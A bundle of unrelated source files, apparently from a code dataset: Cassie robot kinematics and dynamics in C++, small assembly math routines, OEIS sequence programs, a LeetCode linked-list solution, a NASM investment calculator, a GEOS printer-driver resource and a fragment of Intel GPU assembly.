this->cache.Jdot_rigid << temp_left, temp_right;
} // Kinematics::update
void Kinematics::computeConstrainedToeJacobian(Eigen::VectorXd &q, Eigen::MatrixXd &Jl, Eigen::MatrixXd &Jr) {
assert_size_vector(q, 22);
assert_size_matrix(Jl, 3,7);
assert_size_matrix(Jr, 3,7);
Kinematics::Cache *ca = &this->cache;
SymFunction::J_leftToe(ca->J_positionLeft, q);
SymFunction::J_rightToe(ca->J_positionRight, q);
SymFunction::J_achilles_constraint(ca->J_achilles, q);
MatrixXd Jlf_active(3,7), Jrf_active(3,7), Jach_active_lf(1,7), Jach_active_rf(1,7);
Jlf_active << ca->J_positionLeft.block(0, CassieStateEnum::LeftHipRoll, 3, 1),
ca->J_positionLeft.block(0, CassieStateEnum::LeftHipYaw, 3, 1),
ca->J_positionLeft.block(0, CassieStateEnum::LeftHipPitch, 3, 1),
ca->J_positionLeft.block(0, CassieStateEnum::LeftKneePitch, 3, 1),
ca->J_positionLeft.block(0, CassieStateEnum::LeftShinPitch, 3, 1),
ca->J_positionLeft.block(0, CassieStateEnum::LeftHeelSpring, 3, 1),
ca->J_positionLeft.block(0, CassieStateEnum::LeftFootPitch, 3, 1);
Jrf_active << ca->J_positionRight.block(0, CassieStateEnum::RightHipRoll, 3, 1),
ca->J_positionRight.block(0, CassieStateEnum::RightHipYaw, 3, 1),
ca->J_positionRight.block(0, CassieStateEnum::RightHipPitch, 3, 1),
ca->J_positionRight.block(0, CassieStateEnum::RightKneePitch, 3, 1),
ca->J_positionRight.block(0, CassieStateEnum::RightShinPitch, 3, 1),
ca->J_positionRight.block(0, CassieStateEnum::RightHeelSpring, 3, 1),
ca->J_positionRight.block(0, CassieStateEnum::RightFootPitch, 3, 1);
Jach_active_lf << ca->J_achilles.block(0, CassieStateEnum::LeftHipRoll, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftHipYaw, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftHipPitch, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftKneePitch, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftShinPitch, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftHeelSpring, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftFootPitch, 1, 1);
Jach_active_rf << ca->J_achilles.block(1, CassieStateEnum::RightHipRoll, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightHipYaw, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightHipPitch, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightKneePitch, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightShinPitch, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightHeelSpring, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightFootPitch, 1, 1);
Jl = Jlf_active - ca->J_positionLeft.block(0, CassieStateEnum::LeftTarsusPitch, 3, 1) / ca->J_achilles(0, CassieStateEnum::LeftTarsusPitch) * Jach_active_lf;
Jr = Jrf_active - ca->J_positionRight.block(0, CassieStateEnum::RightTarsusPitch, 3, 1) / ca->J_achilles(1, CassieStateEnum::RightTarsusPitch) * Jach_active_rf;
} // Kinematics::computeConstrainedToeJacobian
void Kinematics::computeConstrainedFootJacobian(Eigen::VectorXd &q, Eigen::MatrixXd &Jl, Eigen::MatrixXd &Jr) {
assert_size_vector(q, 22);
assert_size_matrix(Jl, 3,7);
assert_size_matrix(Jr, 3,7);
Kinematics::Cache *ca = &this->cache;
SymFunction::J_leftFoot(ca->J_poseLeft, q);
SymFunction::J_rightFoot(ca->J_poseRight, q);
SymFunction::J_achilles_constraint(ca->J_achilles, q);
MatrixXd Jlf_active(3,7), Jrf_active(3,7), Jach_active_lf(1,7), Jach_active_rf(1,7);
Jlf_active << ca->J_poseLeft.block(0, CassieStateEnum::LeftHipRoll, 3, 1),
ca->J_poseLeft.block(0, CassieStateEnum::LeftHipYaw, 3, 1),
ca->J_poseLeft.block(0, CassieStateEnum::LeftHipPitch, 3, 1),
ca->J_poseLeft.block(0, CassieStateEnum::LeftKneePitch, 3, 1),
ca->J_poseLeft.block(0, CassieStateEnum::LeftShinPitch, 3, 1),
ca->J_poseLeft.block(0, CassieStateEnum::LeftHeelSpring, 3, 1),
ca->J_poseLeft.block(0, CassieStateEnum::LeftFootPitch, 3, 1);
Jrf_active << ca->J_poseRight.block(0, CassieStateEnum::RightHipRoll, 3, 1),
ca->J_poseRight.block(0, CassieStateEnum::RightHipYaw, 3, 1),
ca->J_poseRight.block(0, CassieStateEnum::RightHipPitch, 3, 1),
ca->J_poseRight.block(0, CassieStateEnum::RightKneePitch, 3, 1),
ca->J_poseRight.block(0, CassieStateEnum::RightShinPitch, 3, 1),
ca->J_poseRight.block(0, CassieStateEnum::RightHeelSpring, 3, 1),
ca->J_poseRight.block(0, CassieStateEnum::RightFootPitch, 3, 1);
Jach_active_lf << ca->J_achilles.block(0, CassieStateEnum::LeftHipRoll, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftHipYaw, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftHipPitch, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftKneePitch, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftShinPitch, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftHeelSpring, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftFootPitch, 1, 1);
Jach_active_rf << ca->J_achilles.block(1, CassieStateEnum::RightHipRoll, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightHipYaw, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightHipPitch, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightKneePitch, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightShinPitch, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightHeelSpring, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightFootPitch, 1, 1);
Jl = Jlf_active - ca->J_poseLeft.block(0, CassieStateEnum::LeftTarsusPitch, 3, 1) / ca->J_achilles(0, CassieStateEnum::LeftTarsusPitch) * Jach_active_lf;
Jr = Jrf_active - ca->J_poseRight.block(0, CassieStateEnum::RightTarsusPitch, 3, 1) / ca->J_achilles(1, CassieStateEnum::RightTarsusPitch) * Jach_active_rf;
} // Kinematics::computeConstrainedFootJacobian
void Kinematics::computeStanceConstrainedJacobian(Eigen::VectorXd &q, Eigen::MatrixXd &Jl, Eigen::MatrixXd &Jr) {
assert_size_vector(q, 22);
assert_size_matrix(Jl, 5,7);
assert_size_matrix(Jr, 5,7);
Kinematics::Cache *ca = &this->cache;
// This assumes that kinematics.update() has been called!
MatrixXd Jlf_active(5,7), Jrf_active(5,7), Jach_active_lf(1,7), Jach_active_rf(1,7);
Jlf_active << ca->J_poseLeftConstraint.block(0, CassieStateEnum::LeftHipRoll, 5, 1),
ca->J_poseLeftConstraint.block(0, CassieStateEnum::LeftHipYaw, 5, 1),
ca->J_poseLeftConstraint.block(0, CassieStateEnum::LeftHipPitch, 5, 1),
ca->J_poseLeftConstraint.block(0, CassieStateEnum::LeftKneePitch, 5, 1),
ca->J_poseLeftConstraint.block(0, CassieStateEnum::LeftShinPitch, 5, 1),
ca->J_poseLeftConstraint.block(0, CassieStateEnum::LeftHeelSpring, 5, 1),
ca->J_poseLeftConstraint.block(0, CassieStateEnum::LeftFootPitch, 5, 1);
Jrf_active << ca->J_poseRightConstraint.block(0, CassieStateEnum::RightHipRoll, 5, 1),
ca->J_poseRightConstraint.block(0, CassieStateEnum::RightHipYaw, 5, 1),
ca->J_poseRightConstraint.block(0, CassieStateEnum::RightHipPitch, 5, 1),
ca->J_poseRightConstraint.block(0, CassieStateEnum::RightKneePitch, 5, 1),
ca->J_poseRightConstraint.block(0, CassieStateEnum::RightShinPitch, 5, 1),
ca->J_poseRightConstraint.block(0, CassieStateEnum::RightHeelSpring, 5, 1),
ca->J_poseRightConstraint.block(0, CassieStateEnum::RightFootPitch, 5, 1);
Jach_active_lf << ca->J_achilles.block(0, CassieStateEnum::LeftHipRoll, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftHipYaw, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftHipPitch, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftKneePitch, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftShinPitch, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftHeelSpring, 1, 1),
ca->J_achilles.block(0, CassieStateEnum::LeftFootPitch, 1, 1);
Jach_active_rf << ca->J_achilles.block(1, CassieStateEnum::RightHipRoll, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightHipYaw, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightHipPitch, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightKneePitch, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightShinPitch, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightHeelSpring, 1, 1),
ca->J_achilles.block(1, CassieStateEnum::RightFootPitch, 1, 1);
Jl = Jlf_active - ca->J_poseLeft.block(0, CassieStateEnum::LeftTarsusPitch, 5, 1) / ca->J_achilles(0, CassieStateEnum::LeftTarsusPitch) * Jach_active_lf;
Jr = Jrf_active - ca->J_poseRight.block(0, CassieStateEnum::RightTarsusPitch, 5, 1) / ca->J_achilles(1, CassieStateEnum::RightTarsusPitch) * Jach_active_rf;
} // Kinematics::computeConstrainedFootJacobian
void Dynamics::initialize(Model *model) {
this->H.resize(model->dof_count,model->dof_count);
this->C.resize(model->dof_count);
this->H.setZero();
this->C.setZero();
} // Dynamics::initialize
void Dynamics::calcHandC(Model *model, VectorXd &Q, VectorXd &QDot) {
// Evaluate inertia matrix (H) and velocity terms (C)
VectorXd QDDot(22);
QDDot.setZero();
// InverseDynamics(*model, Q, QDot, QDDot, this->C);
NonlinearEffects(*model,Q,QDot,this->C); // compute Coriolis
CompositeRigidBodyAlgorithm(*model, Q, this->H, false);
// Add reflected rotor inertias
this->H(LeftHipRoll,LeftHipRoll) += 0.038125;
this->H(RightHipRoll,RightHipRoll) += 0.038125;
this->H(LeftHipYaw,LeftHipYaw) += 0.038125;
this->H(RightHipYaw,RightHipYaw) += 0.038125;
this->H(LeftHipPitch,LeftHipPitch) += 0.09344;
this->H(RightHipPitch,RightHipPitch) += 0.09344;
this->H(LeftKneePitch,LeftKneePitch) += 0.09344;
this->H(RightKneePitch,RightKneePitch) += 0.09344;
this->H(LeftFootPitch,LeftFootPitch) += 0.01225;
this->H(RightFootPitch,RightFootPitch) += 0.01225;
} // Dynamics::calcHandC
void Linearizations::initialize(pinocchio::Model *pmodel) {
this->A.resize(44,44);
this->B.resize(44,10);
this->C.resize(44);
}
void Linearizations::calcLinearizations(pinocchio::Model *pmodel, VectorXd &Q_bar,VectorXd &QDot_bar, VectorXd &U_bar, MatrixXd Be, MatrixXd Jc, MatrixXd dJc) {
// NonlinearEffects(*model,Q,QDot,this->C); // compute Coriolis
// CompositeRigidBodyAlgorithm(*model, Q, this->H, false);
// this->H_inv = H.inverse();
// SymFunction::Df(this->Df, Q_bar, QDot_bar);
// this->f = this->H_inv*this->C;
Quaterniond q;
q = AngleAxisd(Q_bar(3), Vector3d::UnitX())
* AngleAxisd(Q_bar(4), Vector3d::UnitY())
* AngleAxisd(Q_bar(5), Vector3d::UnitZ());
VectorXd Q_bar_quat(23);
Q_bar_quat << Q_bar.segment(0,3), q.coeffs(), Q_bar.segment(6,16);
pinocchio::Data data_nonlinear(*pmodel);
pinocchio::Data data_jacobian(*pmodel);
// Allocate result container
Eigen::MatrixXd djoint_acc_dq = Eigen::MatrixXd::Zero(22,22);
Eigen::MatrixXd djoint_acc_dv = Eigen::MatrixXd::Zero(22,22);
Eigen::MatrixXd djoint_acc_dtau = Eigen::MatrixXd::Zero(22,22);
pinocchio::forwardDynamics(*pmodel, data_nonlinear, Q_bar_quat, QDot_bar, Be*U_bar, Jc, dJc*QDot_bar, 1e-12);
VectorXd lambda = data_nonlinear.lambda_c;
VectorXd zero = VectorXd::Zero(6);
VectorXd left(6);
VectorXd right(6);
left << lambda(6),lambda(7),lambda(8),0,lambda(9),lambda(10);
right << lambda(11),lambda(12),lambda(13),0,lambda(14),lambda(15);
pinocchio::Force zeroForce(zero);
pinocchio::Force leftForce(left);
pinocchio::Force rightForce(right);
pinocchio::container::aligned_vector<pinocchio::Force> forces;
for (int i = 0; i < 9; i ++)
forces.push_back(zeroForce);
forces.push_back(leftForce);
for (int i = 10; i < 17; i ++)
forces.push_back(zeroForce);
forces.push_back(rightForce);
// TODO: what is J_rigid??
computeABADerivatives(*pmodel, data_jacobian, Q_bar_quat, QDot_bar, Be*U_bar, forces, djoint_acc_dq, djoint_acc_dv, djoint_acc_dtau);
this->A << MatrixXd::Zero(22,22), MatrixXd::Identity(22,22), djoint_acc_dq, djoint_acc_dv;
this->B << MatrixXd::Zero(22,10), djoint_acc_dtau*Be;
// aba(*pmodel, data, Q_bar_quat, QDot_bar, Be*U_bar);
this->C << Eigen::VectorXd::Zero(22), data_nonlinear.ddq - (djoint_acc_dq*Q_bar + djoint_acc_dv*QDot_bar) - djoint_acc_dtau*Be*U_bar;
// pinocchio::aba(*(this->robot->pmodel), data, Q_bar_quat, QDot, this->config.Be*this->cache.u);
// pinocchio::computeJointJacobians(*(this->robot->pmodel), data, Q_bar_quat);
// MatrixXd Jac = data.J.transpose();
// VectorXd F = Jac.householderQr().solve(this->config.Be*this->cache.u);
// Compute the robot constraints
// this->cache.u << torqueScale.cwiseProduct(this->cache.u);
}
Cassie::Cassie(bool verbose) {
// Retreive the path to the robot URDF description
std::string urdf_path = ros::package::getPath("cassie_description");
urdf_path.append("/urdf/cassie_v4.urdf");
const char* urdf_path_cstr = urdf_path.c_str();
const std::string urdf_path_c = "/home/jreher/cassie_ws/src/cassie_description/urdf/cassie_v4.urdf";
// Construct the RBDL model
this->model = new RigidBodyDynamics::Model();
Addons::URDFReadFromFile(urdf_path_cstr, this->model, true, verbose);
// Construct Pinocchio model
this->pmodel = new pinocchio::Model();
pinocchio::urdf::buildModel(urdf_path_c,pinocchio::JointModelFreeFlyer(), *(this->pmodel));
// Add the leg loop constraints
// TODO: This is not fully integrated.
this->constraints.AddLoopConstraint(
this->model->GetBodyId("lefthippitch"),
this->model->GetBodyId("leftheelspring"),
Math::SpatialTransform(Matrix3d::Identity(3,3), Vector3d(0., 0., 0.045)),
Math::SpatialTransform(Matrix3d::Identity(3,3), Vector3d(0.11877, -0.01, 0.)),
Math::SpatialVector(0.,0.,0.,1.,1.,1.),
false,
0.1,
"leftachilles");
this->constraints.AddLoopConstraint(
this->model->GetBodyId("righthippitch"),
this->model->GetBodyId("rightheelspring"),
Math::SpatialTransform(Matrix3d::Identity(3,3), Vector3d(0., 0., -0.045)),
Math::SpatialTransform(Matrix3d::Identity(3,3), Vector3d(0.11877, -0.01, 0.)),
Math::SpatialVector(0.,0.,0.,1.,1.,1.),
false,
0.1,
"rightachilles");
this->constraints.Bind(*this->model);
this->constraints.clear();
this->torque.resize(10);
this->torque.setZero();
// Create robot statespace
this->q.resize(22);
this->dq.resize(22);
this->ddq.resize(22);
this->q.setZero();
this->dq.setZero();
this->ddq.setZero();
this->quat_pelvis.setIdentity();
// Indexing helpers
this->iRotorMap.resize(10);
this->iJointMap.resize(4);
this->iEncoderMap.resize(14);
this->iRotorMap <<
CassieStateEnum::LeftHipRoll,
CassieStateEnum::LeftHipYaw,
CassieStateEnum::LeftHipPitch,
CassieStateEnum::LeftKneePitch,
CassieStateEnum::LeftFootPitch,
CassieStateEnum::RightHipRoll,
CassieStateEnum::RightHipYaw,
CassieStateEnum::RightHipPitch,
CassieStateEnum::RightKneePitch,
CassieStateEnum::RightFootPitch;
this->iJointMap <<
CassieStateEnum::LeftShinPitch,
CassieStateEnum::LeftTarsusPitch,
CassieStateEnum::RightShinPitch,
CassieStateEnum::RightTarsusPitch;
this->iEncoderMap <<
CassieStateEnum::LeftHipRoll,
CassieStateEnum::LeftHipYaw,
CassieStateEnum::LeftHipPitch,
CassieStateEnum::LeftKneePitch,
CassieStateEnum::LeftShinPitch,
CassieStateEnum::LeftTarsusPitch,
CassieStateEnum::LeftFootPitch,
CassieStateEnum::RightHipRoll,
CassieStateEnum::RightHipYaw,
CassieStateEnum::RightHipPitch,
CassieStateEnum::RightKneePitch,
CassieStateEnum::RightShinPitch,
CassieStateEnum::RightTarsusPitch,
CassieStateEnum::RightFootPitch;
// Append additional modeling considerations
this->model->gravity = Vector3d(0., 0., -9.80665);
// Contact modes
this->leftContact = 0.0;
this->rightContact = 0.0;
this->GRF.resize(6);
this->GRF = Eigen::VectorXd::Zero(6);
// Construct the class members
this->kinematics.initialize(this->model);
this->dynamics.initialize(this->model);
this->linearizations.initialize(this->pmodel);
} // Cassie::Cassie
} // namespace cassie_model
|
;
; CPC Maths Routines
;
; August 2003 **_|warp6|_** <kbaccam /at/ free.fr>
;
; $Id: exp.asm,v 1.2 2007/07/21 21:28:22 dom Exp $
;
INCLUDE "#cpcfirm.def"
INCLUDE "#cpcfp.def"
XLIB exp
XDEF expc
LIB get_para
.exp call get_para
call firmware
.expc defw CPCFP_FLO_EXP
ret
|
; A138452: a(n) = ((n-th prime)^6-(n-th prime)^3))/2.
; 28,351,7750,58653,885115,2412306,12066328,23519511,74011861,297399466,443736945,1282837878,2375017660,3160641771,5389555753,11082106126,21090164131,25760073690,45229040703,64049963005,75666918636,121543481241,163469900791,248490292996,416485546128,530759560150,597025601901,750364563403,838549407906,1040975154856,2097935433153,2526955448095,3305926839628,3606273363771,5471261639326,5926954072725,7488033980778,9377682623631,10845978469453,13404374077186,16447053854791,17580911198670,24275609652385,25841266680096,29225860331878,31051916359101,44122965119415,61489242578961,68410869505903,72107902396566,80002856945116,93187439365321,97965290073960,125029445687875,144068395270528,165464362881181,189445224458386,198054962101305,225864823357278,246154570614820,256855339539891,316355733030646,418600981392903,452410133466565,470149539919956,507370910687578,657563888530395,732401791963128,872864523898003,903488347788426,967427050805776,1070376797676781,1221705083746953,1346551558274286,1481853451941891,1578202185349441,1732477507392646,1957550785623378,2078912608960600,2340506470115556,2705541103261711,2783957323695030,3205041223901545,3295318352814216,3578962275308421,3779134568543971,4096830966882976,4554777852170028,4799274075962290,4925563769176281,5186462993595703,6039251013655441,6670275439598253,7005819654381835,7719217439747751,8098002588608101,8695142324778106
mov $2,$0
sub $2,$0
cal $0,330410 ; a(n) = 6*prime(n) - 1.
add $0,5
add $1,$0
add $2,6
div $1,$2
pow $1,3
bin $1,2
|
; A021081: Decimal expansion of 1/77.
; 0,1,2,9,8,7,0,1,2,9,8,7,0,1,2,9,8,7,0,1,2,9,8,7,0,1,2,9,8,7,0,1,2,9,8,7,0,1,2,9,8,7,0,1,2,9,8,7,0,1,2,9,8,7,0,1,2,9,8,7,0,1,2,9,8,7,0,1,2,9,8,7,0,1,2,9,8,7,0,1,2,9,8,7,0,1,2,9,8,7,0,1,2,9,8,7,0,1,2
mod $0,6
lpb $0
add $0,1
mov $1,1
mov $3,$0
mov $0,2
sub $1,$3
add $2,1
mul $2,$3
add $2,$1
mul $2,3
add $2,$1
add $2,8
mov $1,$2
sub $1,1
lpe
add $1,$0
|
; A131757: Period 10: repeat 3, 3, 3, -7, 3, 3, -7, 3, 3, -7.
; 3,3,3,-7,3,3,-7,3,3,-7,3,3,3,-7,3,3,-7,3,3,-7,3,3,3,-7,3,3,-7,3,3,-7,3,3,3,-7,3,3,-7,3,3,-7,3,3,3,-7,3,3,-7,3,3,-7,3,3,3,-7,3,3,-7,3,3,-7,3,3,3,-7,3,3,-7,3,3,-7,3,3,3,-7,3,3,-7,3,3,-7,3,3,3,-7,3,3,-7,3,3,-7,3,3,3,-7,3,3,-7,3,3,-7
mul $0,-3
mod $0,10
div $0,7
mul $0,10
add $0,3
|
//First ver.
class Solution {
public:
ListNode *addTwoNumbers(ListNode *l1, ListNode *l2) {
int sum, carry, val1, val2;
ListNode *s1 = l1, *s2 = l2, *s3, *temp;
s3 = new ListNode();
temp = s3;
sum = l1->val + l2->val;
carry = sum / 10;
temp->val = sum % 10;
s1 = s1->next;
s2 = s2->next;
while (carry != 0 || s1 != nullptr || s2 != nullptr) {
temp->next = new ListNode();
temp = temp->next;
if (s1 == nullptr) {
val1 = 0;
} else {
val1 = s1->val;
}
if (s2 == nullptr) {
val2 = 0;
} else {
val2 = s2->val;
}
sum = val1 + val2 + carry;
carry = sum / 10;
temp->val = sum % 10;
if(s1!=nullptr){
s1 = s1->next;
}
if(s2!=nullptr){
s2 = s2->next;
}
}
return s3;
}
};
//Last ver.
class Solution {
public:
ListNode *addTwoNumbers(ListNode *l1, ListNode *l2) {
int sum, carry = 0, val1, val2;
ListNode *s1 = l1, *s2 = l2, s3, *temp;
temp = &s3;
while (carry != 0 || s1 != nullptr || s2 != nullptr) {
temp->next = new ListNode();
temp = temp->next;
if (s1 == nullptr) {
val1 = 0;
} else {
val1 = s1->val;
s1 = s1->next;
}
if (s2 == nullptr) {
val2 = 0;
} else {
val2 = s2->val;
s2 = s2->next;
}
sum = val1 + val2 + carry;
carry = sum / 10;
temp->val = sum % 10;
}
return s3.next;
}
}; |
; Program 8.9
; x86_64 Investment Calculator - NASM (64-bit)
; Copyright (c) 2017 Hall & Slonka
; This program calculates a monthly deposit needed to reach an investment
; value, given the future value, interest rate (%), and duration (months)
extern _printString ; declare external functions
extern _printDouble
extern _getDouble
extern _getInt
section .data
align 16 ; align data on 16-byte boundary
amountNeeded: dq 0.0
interestRate: dq 0.0
interest: dq 0.0
monthlyPayment: dq 0.0
duration: dq 0 ; integer data
const100: dq 100.0
const12: dq 12.0
const1: dq 1.0
amountMessage: db " Enter Amount Needed: $",0
interestMessage: db " Enter Interest Rate: ",0
durationMessage: db "Enter Duration (in months): ",0
paymentMessage: db " Monthly Payment Amount: $",0
section .text
global _asmMain
_asmMain:
push rbp
mov rbp, rsp ; align stack pointer
lea rdi, [rel amountMessage] ; pass char* to print
call _printString
call _getDouble ; get and store amountNeeded
movsd [rel amountNeeded], xmm0
lea rdi, [rel interestMessage] ; pass char* to print
call _printString
call _getDouble ; get interestRate as a %
movsd xmm1, [rel const100] ; divide rate by 100
divsd xmm0, xmm1
movsd [rel interestRate], xmm0 ; store rate as decimal value
lea rdi, [rel durationMessage] ; pass char* to print
call _printString
call _getInt ; get and store duration
mov [rel duration], rax
movsd xmm0, [rel const12] ; interest = interestRate / const12
movsd xmm1, [rel interestRate]
divsd xmm1, xmm0
movsd [rel interest], xmm1
movsd xmm0, [rel interest] ; investment formula (see Ch8 Supplement)
movsd xmm1, [rel amountNeeded]
mulsd xmm1, xmm0 ; interest * amount needed, then store
movsd xmm2, xmm1
addsd xmm0, [rel const1] ; add 1 to interest
mov rdi, [rel duration]
call _pow ; pow(interest, duration)
subsd xmm0, [rel const1] ; subtract 1 from result
vdivsd xmm1, xmm2, xmm0
movsd [rel monthlyPayment], xmm1 ; complete formula with division
lea rdi, [rel paymentMessage] ; pass char* to print
call _printString
movsd xmm0, [rel monthlyPayment]
call _printDouble ; print monthlyPayment
pop rbp
ret ; end _asmMain
_pow: ; pow function
push rbp
mov rbp, rsp
mov rcx, rdi
dec rcx ; use rcx for loop countdown
movsd xmm1, xmm0
exp: ; multiply by value duration times
mulsd xmm0, xmm1
loop exp
pop rbp
ret
|
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: PCL 4 download font driver
FILE: ibm4019Info.asm
AUTHOR: Dave Durran
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 1/92 Initial revision from laserdwn downLoadInfo.asm
DESCRIPTION:
This file contains the device information for the IBM 4019
Other Printers Supported by this resource:
$Id: ibm4019Info.asm,v 1.1 97/04/18 11:52:24 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;----------------------------------------------------------------------------
; IBM 4019 font set common to all IBMS
;----------------------------------------------------------------------------
ibm4019Info segment resource
; info blocks
PrinterInfo < ; ---- PrinterType -------------
< PT_RASTER,
BMF_MONO >,
; ---- PrinterConnections ------
< IC_NO_IEEE488,
CC_NO_CUSTOM,
SC_NO_SCSI,
RC_RS232C,
CC_CENTRONICS,
FC_FILE,
AC_NO_APPLETALK >,
; ---- PrinterSmarts -----------
PS_DOES_FONTS,
;-------Custom Entry Routine-------
PrintGoToPCL,
;-------Custom Exit Routine-------
NULL,
; ---- Mode Info Offsets -------
offset ibm4019lowRes,
offset ibm4019medRes,
offset ibm4019hiRes,
NULL,
offset ibm4019nlq,
; ---- Font Geometry -----------
ibm4019FontGeometry,
; ---- Symbol Set list -----------
offset ibm4019SymbolSets,
; ---- PaperMargins ------------
< PR_MARGIN_LEFT, ; Tractor Margins
0,
PR_MARGIN_RIGHT,
0 >,
< PR_MARGIN_LEFT, ; ASF Margins
PR_MARGIN_TOP,
PR_MARGIN_RIGHT,
PR_MARGIN_BOTTOM >,
; ---- PaperInputOptions -------
< MF_MANUAL1,
TF_NO_TRACTOR,
ASF_TRAY3 >,
; ---- PaperOutputOptions ------
< OC_COPIES,
PS_REVERSE,
OD_SIMPLEX,
SO_NO_STAPLER,
OS_NO_SORTER,
OB_NO_OUTPUTBIN >,
;
612, ; paper width (points).
NULL, ; Main UI
Pcl4OptionsDialogBox, ; Options UI
PrintEvalSimplex ; UI eval routine.
>
;----------------------------------------------------------------------------
; Graphics modes info
;----------------------------------------------------------------------------
ibm4019lowRes GraphicsProperties < LO_RES_X_RES, ; xres
LO_RES_Y_RES, ; yres
LO_RES_BAND_HEIGHT, ; band height
LO_RES_BUFF_HEIGHT, ; buffer height
LO_RES_INTERLEAVE_FACTOR, ;#interleaves
BMF_MONO, ;color format
NULL > ; color format
ibm4019medRes GraphicsProperties < MED_RES_X_RES, ; xres
MED_RES_Y_RES, ; yres
MED_RES_BAND_HEIGHT, ; band height
MED_RES_BUFF_HEIGHT, ; buffer height
MED_RES_INTERLEAVE_FACTOR, ;#interleaves
BMF_MONO, ;color format
NULL > ; color format
ibm4019hiRes GraphicsProperties < HI_RES_X_RES, ; xres
HI_RES_Y_RES, ; yres
HI_RES_BAND_HEIGHT, ; band height
HI_RES_BUFF_HEIGHT, ; buffer height
HI_RES_INTERLEAVE_FACTOR, ;#interleaves
BMF_MONO, ;color format
NULL > ; color format
;----------------------------------------------------------------------------
; Text modes info
;----------------------------------------------------------------------------
ibm4019nlq label word
nptr ibm4019_10CPI
word 0 ; table terminator
ibm4019SymbolSets label word
word offset pr_codes_SetASCII7 ;ASCII 7 bit
word offset pr_codes_SetIBM437 ;IBM code page 437
word offset pr_codes_SetIBM850 ;IBM code page 850
word NULL ;no IBM code page 860
word NULL ;no IBM code page 863
word NULL ;no IBM code page 865
word offset pr_codes_SetRoman8 ;Roman-8
word offset pr_codes_SetWindows ;MS windows
word offset pr_codes_SetVentura ;Ventura Int'l
word offset pr_codes_SetLatin1 ;ECMA-94 Latin 1
;----------------------------------------------------------------------------
; Font Structures
;----------------------------------------------------------------------------
ibm4019_10CPI label word
ibm4019FontGeometry DownloadProperties < HP_IIP_MAX_SOFT_FONTS,
HP_IIP_MAX_POINTSIZE >
ibm4019Info ends
|
/*
* Copyright (c) 2017, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
L0:
mov (1|M0) r22.4<1>:ud 0x1000100:ud
mov (4|M0) acc0.0<1>:w 0x2406:v
add (4|M0) acc0.0<1>:w acc0.0<4;4,1>:w 0x40:uw
shl (4|M0) r22.0<1>:w acc0.0<4;4,1>:w 0x5:uw
(W&~f0.1)jmpi L1824
L80:
mov (1|M0) r23.3<1>:f r25.2<0;1,0>:f
mov (4|M0) r10.0<1>:f 0x5054585C:vf
mov (4|M0) r10.4<1>:f 0x304048:vf
mov (8|M0) r13.0<1>:ud r0.0<8;8,1>:ud
mov (2|M0) r13.0<1>:ud 0x0:ud
mov (1|M0) r13.2<1>:ud 0xE000:ud
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0xA2C0100:ud
mov (8|M0) acc0.0<1>:f r25.3<0;1,0>:f
mac (8|M0) r16.0<1>:f r25.5<0;1,0>:f r10.0<8;8,1>:f
mac (8|M0) r17.0<1>:f r25.5<0;1,0>:f r10.0<8;8,1>:f
mul (8|M0) acc0.0<1>:f r25.5<0;1,0>:f 8.0:f
add (8|M0) r16.0<1>:f acc0.0<8;8,1>:f r16.0<8;8,1>:f
